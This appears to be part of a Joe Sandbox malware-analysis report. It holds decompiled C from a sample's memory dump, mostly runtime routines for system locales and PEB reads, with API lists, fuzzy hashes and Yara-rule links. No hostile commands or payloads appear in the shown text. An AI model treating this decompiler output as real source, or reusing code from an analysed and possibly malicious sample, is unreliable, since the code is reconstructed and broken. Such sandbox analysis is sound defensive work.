				 *((intOrPtr*)(_t27 + 0x5c)) = _t24;
				EnumSystemLocalesW(E00429A45, 1);
				_t15 = _a4;
				if(( *_t15 & 0x00000004) == 0) {
					 *_t15 = 0;
					return _t15;
				}
				return _t15;
			}

0x00429774
0x0042977a
0x0042977b
0x0042977e
0x00429781
0x00429781
0x00429784
0x00429786
0x00429794
0x00429797
0x0042979a
0x004297a5
0x004297a5
0x004297ae
0x004297b1
0x004297b7
0x004297bd
0x004297bf
0x00000000
0x004297bf
0x004297c5

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

EnumSystemLocalesW.KERNEL32(00429A45,00000001,00000000,?,-00000050,?,00429DE7,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 004297B1

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 91143fa296edbb484ea92f160725dff0b1cb7b7a33454bb7959f1cc2888faa45
Instruction ID: 2330239866fa6033ed44c31cba710f9e22817a6dbbf883f410c869d6bb066d8a
Opcode Fuzzy Hash: 91143fa296edbb484ea92f160725dff0b1cb7b7a33454bb7959f1cc2888faa45
Instruction Fuzzy Hash: 2EF046363103049FDB245F36EC81A7A7B90FFC0728F14843EF9058B680C6759C02C614

Uniqueness

Uniqueness Score: -1.00%

Function 00429F45 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00429F45(void* __edx, void* __eflags) {
				intOrPtr _t17;
				signed int _t27;
				void* _t29;

				E00403400(__edx, 0x448810, 0xc);
				 *(_t29 - 0x1c) =  *(_t29 - 0x1c) & 0x00000000;
				E004260B0( *((intOrPtr*)( *((intOrPtr*)(_t29 + 8)))));
				 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
				 *0x44ce68 = E004101F4( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t29 + 0xc)))))));
				_t27 = EnumSystemLocalesW(E00429F38, 1);
				_t17 =  *0x44b018; // 0x1989d38f
				 *0x44ce68 = _t17;
				 *(_t29 - 0x1c) = _t27;
				 *(_t29 - 4) = 0xfffffffe;
				E00429FB5();
				 *[fs:0x0] =  *((intOrPtr*)(_t29 - 0x10));
				return _t27;
			}

0x00429f4c
0x00429f51
0x00429f5a
0x00429f60
0x00429f71
0x00429f83
0x00429f85
0x00429f8a
0x00429f8f
0x00429f92
0x00429f99
0x00429fa3
0x00429faf

APIs

Part of subcall function 004260B0: EnterCriticalSection.KERNEL32(?,?,00423425,?,00448730,0000000C), ref: 004260BF

EnumSystemLocalesW.KERNEL32(00429F38,00000001,00448810,0000000C,0042A7F3,00000000), ref: 00429F7D

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: ed0437103b830169e83f6cac114c24104203890702e9d768c521767dc1f1bf38
Instruction ID: d7619c074703ab2d286ef77e5e4cfb7b639bea3a8d004e835a548f7aa371deed
Opcode Fuzzy Hash: ed0437103b830169e83f6cac114c24104203890702e9d768c521767dc1f1bf38
Instruction Fuzzy Hash: F0F03C76B50210DFD710EF58E842B9D77B0EB05725F20402BF410DB290CBB94944CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00429663 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00429663(void* __ecx, void* __edx, signed char* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				signed char* _t13;
				intOrPtr* _t15;
				void* _t19;
				void* _t21;
				void* _t22;

				_t19 = E0041FEAE(__ecx, __edx, _t21);
				_t15 =  *((intOrPtr*)(_t19 + 0x54));
				_t22 = _t15 + 2;
				do {
					_t9 =  *_t15;
					_t15 = _t15 + 2;
				} while (_t9 != 0);
				 *(_t19 + 0x64) = 0 | _t15 - _t22 >> 0x00000001 == 0x00000003;
				EnumSystemLocalesW(0x4295bc, 1);
				_t13 = _a4;
				if(( *_t13 & 0x00000004) == 0) {
					 *_t13 = 0;
					return _t13;
				}
				return _t13;
			}

0x0042966f
0x00429673
0x00429676
0x00429679
0x00429679
0x0042967c
0x0042967f
0x00429697
0x0042969a
0x004296a0
0x004296a6
0x004296a8
0x00000000
0x004296a8
0x004296ad

APIs

Part of subcall function 0041FEAE: GetLastError.KERNEL32(?,00000008,0042383F), ref: 0041FEB2
Part of subcall function 0041FEAE: SetLastError.KERNEL32(00000000), ref: 0041FF54

EnumSystemLocalesW.KERNEL32(004295BC,00000001,00000000,?,?,00429E45,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 0042969A

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 1235dbf670d65062be7499a9188d99711eb98f6045fa356f31d4ccda42ae8008
Instruction ID: 5c32e0a841fa3f9a212884b52167dc3a9d1cee235a2d9c193e991ddd58216430
Opcode Fuzzy Hash: 1235dbf670d65062be7499a9188d99711eb98f6045fa356f31d4ccda42ae8008
Instruction Fuzzy Hash: 7EF05C3A30020457CB149F35E815B667F90EFC1710F46405EEA058B251C2369C43C758

Uniqueness

Uniqueness Score: -1.00%

Function 0042A982 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0040FC1D,?,20001004,00000000,00000002,?,?,0040EF9B), ref: 0042A9B6

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cc1b5495f781d497285caa0df6d3bbbb2de9984f4a1e87bb0825f647b88a4161
Instruction ID: 1b28cc3f7c7251639e79f85c74d617d8eef19725c327b06c0ff05472a83ca0af
Opcode Fuzzy Hash: cc1b5495f781d497285caa0df6d3bbbb2de9984f4a1e87bb0825f647b88a4161
Instruction Fuzzy Hash: DAE04F75640128BBCF126F62FC05F9E3E16EF44B60F414426FE0965221CB369D71EA9E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A05B Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042A05B(intOrPtr _a4) {
				int _t3;
				intOrPtr _t5;

				 *0x44ce68 = E004101F4(_a4);
				_t3 = EnumSystemLocalesW(E00429F38, 1);
				_t5 =  *0x44b018; // 0x1989d38f
				 *0x44ce68 = _t5;
				return _t3;
			}

0x0042a070
0x0042a075
0x0042a07b
0x0042a081
0x0042a088

APIs

EnumSystemLocalesW.KERNEL32(Function_00029F38,00000001), ref: 0042A075

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: caa8a21da75d651a8e6f144d49ea41cff4d52b55df256a3598d6917753e336cf
Instruction ID: 0d9a8804212323a1195b0d3c756ccea5a120ffeec1fe52071b3def297397aa12
Opcode Fuzzy Hash: caa8a21da75d651a8e6f144d49ea41cff4d52b55df256a3598d6917753e336cf
Instruction Fuzzy Hash: DED0A77A650304ABD7245F11FC869443B25E342710FA8003AF408473A0DFFA58C5C74C

Uniqueness

Uniqueness Score: -1.00%

Function 0042A032 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042A032(intOrPtr* __ecx) {
				int _t3;
				intOrPtr _t6;

				 *0x44ce68 = E004101F4( *((intOrPtr*)( *__ecx)));
				_t3 = EnumSystemLocalesW(E00429F38, 1);
				_t6 =  *0x44b018; // 0x1989d38f
				 *0x44ce68 = _t6;
				return _t3;
			}

0x0042a043
0x0042a048
0x0042a04e
0x0042a054
0x0042a05a

APIs

EnumSystemLocalesW.KERNEL32(Function_00029F38,00000001), ref: 0042A048

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 811a786cc05274437d644bf7befed4402a384bb7bf91c27eb48945fc61f482b9
Instruction ID: 404cac7c7ac09b26225a730336fa01e1ccfccda416681151766969cb72b87642
Opcode Fuzzy Hash: 811a786cc05274437d644bf7befed4402a384bb7bf91c27eb48945fc61f482b9
Instruction Fuzzy Hash: 69D0C9B96613009FD7649F20E885A443761E706701BB8007AB4018B2B0DBBA5899DB08

Uniqueness

Uniqueness Score: -1.00%

Function 00426375 Relevance: .0, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00426375(void* __ecx) {
				char _v8;
				intOrPtr _t9;
				void* _t11;
				void* _t13;
				char _t21;

				_t21 =  *0x44cd84; // 0x0
				if(_t21 == 0) {
					_t21 = 2;
					_v8 = _t21;
					_t9 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t25 =  *((intOrPtr*)(_t9 + 8));
					if( *((intOrPtr*)(_t9 + 8)) >= 0) {
						E0042A6E8(_t25,  &_v8);
					}
					_t11 = _v8 - 1;
					if(_t11 != 0) {
						_t13 = _t11 - 1;
						if(_t13 == 0) {
							_t21 = 1;
							__eflags = 1;
						} else {
							if(_t13 == 1) {
								_push(3);
							} else {
								_push(4);
							}
							_pop(_t21);
						}
					}
					 *0x44cd84 = _t21;
				}
				return _t21;
			}

0x0042637c
0x00426385
0x0042638f
0x00426390
0x00426393
0x00426396
0x0042639a
0x004263a0
0x004263a0
0x004263a8
0x004263ab
0x004263ad
0x004263b0
0x004263c2
0x004263c2
0x004263b2
0x004263b5
0x004263bb
0x004263b7
0x004263b7
0x004263b7
0x004263bd
0x004263bd
0x004263b0
0x004263ca
0x004263ca
0x004263d0

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf4e24bd950f6d5e768c3ec5f7999a524d3141b83088ef1521dbde27be504a3
Instruction ID: 1349cce661bcd7ec6fb54b9ffe0d9d47e8d568316f9f493824e7e31e020cb029
Opcode Fuzzy Hash: cdf4e24bd950f6d5e768c3ec5f7999a524d3141b83088ef1521dbde27be504a3
Instruction Fuzzy Hash: E8F06D72740230ABD716DA5CAA19F9976ACEB05B10F961057F901EB390C6B9DE00C7DC

Uniqueness

Uniqueness Score: -1.00%

Function 004261AC Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E004261AC(void* __ecx, char _a4) {
				char _v8;
				intOrPtr _t8;
				intOrPtr _t11;
				void* _t13;
				void* _t15;

				_t8 =  *0x44cd84; // 0x0
				if(_t8 != 0) {
					return _t8;
				}
				_v8 = _a4;
				_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t25 =  *((intOrPtr*)(_t11 + 8));
				if( *((intOrPtr*)(_t11 + 8)) >= 0) {
					E0042A6E8(_t25,  &_v8);
				}
				_t13 = _v8 - 1;
				if(_t13 == 0) {
					_push(2);
					goto L10;
				} else {
					_t15 = _t13 - 1;
					if(_t15 == 0) {
						L11:
						 *0x44cd84 = 1;
						return 1;
					}
					if(_t15 == 1) {
						_push(3);
					} else {
						_push(4);
					}
					L10:
					_pop(1);
					goto L11;
				}
			}

0x004261b2
0x004261ba
0x00426206
0x00426206
0x004261bf
0x004261c8
0x004261cb
0x004261cf
0x004261d5
0x004261d5
0x004261dd
0x004261e0
0x004261f9
0x00000000
0x004261e2
0x004261e2
0x004261e5
0x004261fc
0x00426203
0x00000000
0x00426203
0x004261ea
0x004261f0
0x004261ec
0x004261ec
0x004261ec
0x004261fb
0x004261fb
0x00000000
0x004261fb

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f41065dbd041c6edef7926828869e2cbbd3ec4de1933b9ea488147aadcb9d12c
Instruction ID: c2d81389a5775e2ae5b94b443cba90dda5ff59f77101d3520c39a9e830fd1a18
Opcode Fuzzy Hash: f41065dbd041c6edef7926828869e2cbbd3ec4de1933b9ea488147aadcb9d12c
Instruction Fuzzy Hash: E6F0CD31340311EBC705CA2CE558B2A37A8E705304FA2007AE005D7382C6B8EE40C609

Uniqueness

Uniqueness Score: -1.00%

Function 004262BC Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004262BC(void* __ecx) {
				signed int _v8;
				intOrPtr _t10;
				signed int _t18;

				_t18 =  *0x44cd7c; // 0x0
				if(_t18 == 0) {
					_v8 = _v8 & _t18;
					_t18 = _t18 + 1;
					_t10 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t21 =  *((intOrPtr*)(_t10 + 8));
					if( *((intOrPtr*)(_t10 + 8)) >= 0) {
						E0042A6A8(_t21,  &_v8);
						if(_v8 == _t18) {
							_t18 = 2;
						}
					}
					 *0x44cd7c = _t18;
				}
				return _t18;
			}

0x004262c3
0x004262cc
0x004262d4
0x004262d7
0x004262d8
0x004262db
0x004262df
0x004262e5
0x004262ed
0x004262f1
0x004262f1
0x004262ed
0x004262f9
0x004262f9
0x004262ff

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ee1e0b41417491fe59c3027bf7d9bd06017496c5e8cb3fedf440f33210da5c
Instruction ID: df2265a667e10c8acd6ecb2c3ffb58b628cc3629c626def48b00d657704740b9
Opcode Fuzzy Hash: b7ee1e0b41417491fe59c3027bf7d9bd06017496c5e8cb3fedf440f33210da5c
Instruction Fuzzy Hash: B7F0A031A12230DFCB12D78CD445B8973B8EB4AB11F5240ABE401D7240C3B4DD00C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 00426300 Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426300(void* __ecx) {
				char _v8;
				intOrPtr _t9;
				intOrPtr _t17;
				char _t19;

				_t17 =  *0x44cd80; // 0x0
				if(_t17 == 0) {
					_t19 = _t17 + 1;
					_v8 = _t19;
					_t9 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t21 =  *((intOrPtr*)(_t9 + 8));
					if( *((intOrPtr*)(_t9 + 8)) < 0) {
						L3:
						_t17 = 2;
					} else {
						E0042A668(_t21,  &_v8);
						if(_v8 == _t19) {
							goto L3;
						}
					}
					 *0x44cd80 = _t17;
				}
				return _t17;
			}

0x00426307
0x00426310
0x00426318
0x00426319
0x0042631c
0x0042631f
0x00426323
0x00426333
0x00426335
0x00426325
0x00426329
0x00426331
0x00000000
0x00000000
0x00426331
0x0042633d
0x0042633d
0x00426343

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c66003e83405ba6d4bd3071865a3329d4b8dcdf9c1940a3b54f2e65dcdb1e695
Instruction ID: e6eedbf44311bfaab19765213e74062f20b090e42dbc37ea549310c93e9684a3
Opcode Fuzzy Hash: c66003e83405ba6d4bd3071865a3329d4b8dcdf9c1940a3b54f2e65dcdb1e695
Instruction Fuzzy Hash: 18F0A071A112309FCB26CB4CD844A89B3ACEB45B54F56406BE800D7240C7B8ED00CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00426169 Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426169(void* __ecx, char _a4) {
				char _v8;
				intOrPtr _t10;
				intOrPtr _t13;
				intOrPtr _t16;

				_t10 =  *0x44cd80; // 0x0
				if(_t10 == 0) {
					_v8 = _a4;
					_t13 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t24 =  *((intOrPtr*)(_t13 + 8));
					if( *((intOrPtr*)(_t13 + 8)) >= 0) {
						E0042A668(_t24,  &_v8);
					}
					_t16 = (0 | _v8 == 0x00000001) + 1;
					 *0x44cd80 = _t16;
					return _t16;
				}
				return _t10;
			}

0x0042616f
0x00426177
0x0042617c
0x00426185
0x00426188
0x0042618c
0x00426192
0x00426192
0x004261a5
0x004261a8
0x00000000
0x004261a8
0x004261ab

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe13821cf8f86192e36ec2c7d8a20c3ef95bf2fec5dc0c48ad36143e4b2fd69
Instruction ID: 4d8ad789fa6d7cadddac19358a3ff56ab2087f5b1685b17079d4b8aa2d76e91c
Opcode Fuzzy Hash: 5fe13821cf8f86192e36ec2c7d8a20c3ef95bf2fec5dc0c48ad36143e4b2fd69
Instruction Fuzzy Hash: 99E06D75701344DFDB45CF69D944A0977F8EB44748F654079E415C7251D338EE40CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00426126 Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426126(void* __ecx, char _a4) {
				char _v8;
				intOrPtr _t10;
				intOrPtr _t13;
				intOrPtr _t16;

				_t10 =  *0x44cd7c; // 0x0
				if(_t10 == 0) {
					_v8 = _a4;
					_t13 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t24 =  *((intOrPtr*)(_t13 + 8));
					if( *((intOrPtr*)(_t13 + 8)) >= 0) {
						E0042A6A8(_t24,  &_v8);
					}
					_t16 = (0 | _v8 == 0x00000001) + 1;
					 *0x44cd7c = _t16;
					return _t16;
				}
				return _t10;
			}

0x0042612c
0x00426134
0x00426139
0x00426142
0x00426145
0x00426149
0x0042614f
0x0042614f
0x00426162
0x00426165
0x00000000
0x00426165
0x00426168

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1756ddd501228183400b797cc915454d0f870eb072023a2d76a63c22a0de13f0
Instruction ID: 1619ec32f712a51cff69e41a3a2845d913d937b5065e7e07878749c80917fdd3
Opcode Fuzzy Hash: 1756ddd501228183400b797cc915454d0f870eb072023a2d76a63c22a0de13f0
Instruction Fuzzy Hash: 12E0ED34602244DFCB05CF29C440A0AB7F8EB89348F604079E804C3201D338EE00CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00426344 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00426344(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E0042A628(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x00426351
0x00426353
0x00426356
0x00426359
0x0042635c
0x0042636d
0x0042636f
0x0042635e
0x00426362
0x0042636b
0x00000000
0x00000000
0x0042636b
0x00426374

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd3771e0d0b19075128217a832d511a52d02da1d313d66324e2cce0c36cb9fe
Instruction ID: 5e1aa68ce532eea3cf0b2d1986f9c83ab9da4d84abf5ad36f973872e05fbfc56
Opcode Fuzzy Hash: 8fd3771e0d0b19075128217a832d511a52d02da1d313d66324e2cce0c36cb9fe
Instruction Fuzzy Hash: AAE08C72A11238EBCB15DB89D90498AF3FCEB44B04B56009BB901D3210C674DE00CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00426207 Relevance: .0, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00426207(void* __ecx, char _a4) {
				char _v8;
				intOrPtr _t11;

				_v8 = _a4;
				_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t17 =  *((intOrPtr*)(_t11 + 8));
				if( *((intOrPtr*)(_t11 + 8)) >= 0) {
					E0042A628(_t17,  &_v8);
				}
				return 0 | _v8 != 0x00000001;
			}

0x00426210
0x00426219
0x0042621c
0x00426220
0x00426226
0x00426226
0x00426235

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cfdc68d18d4c8f134e58fe6f3e1ce8538a7b7d6dbde2acdb1afc528fcee33f9
Instruction ID: 49412071b65622fb0b59ad4c8e44dcce5ae21920afe42cd0459a20d7046be473
Opcode Fuzzy Hash: 6cfdc68d18d4c8f134e58fe6f3e1ce8538a7b7d6dbde2acdb1afc528fcee33f9
Instruction Fuzzy Hash: A6E08230601248EFCB00EBA9D448A4AB7F8EB48348FA148A8E804C3240C738EF80CA00

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF53 Relevance: .0, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040DF53(void* __ecx, void* __eflags) {

				if(E00426344(__ecx) == 1 || ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) != 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x0040df5b
0x0040df74
0x0040df6f
0x0040df71
0x0040df71

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5c3ec08a14f93fd17c7750127b6368c369c13261ccb34751d8d83959a91489b
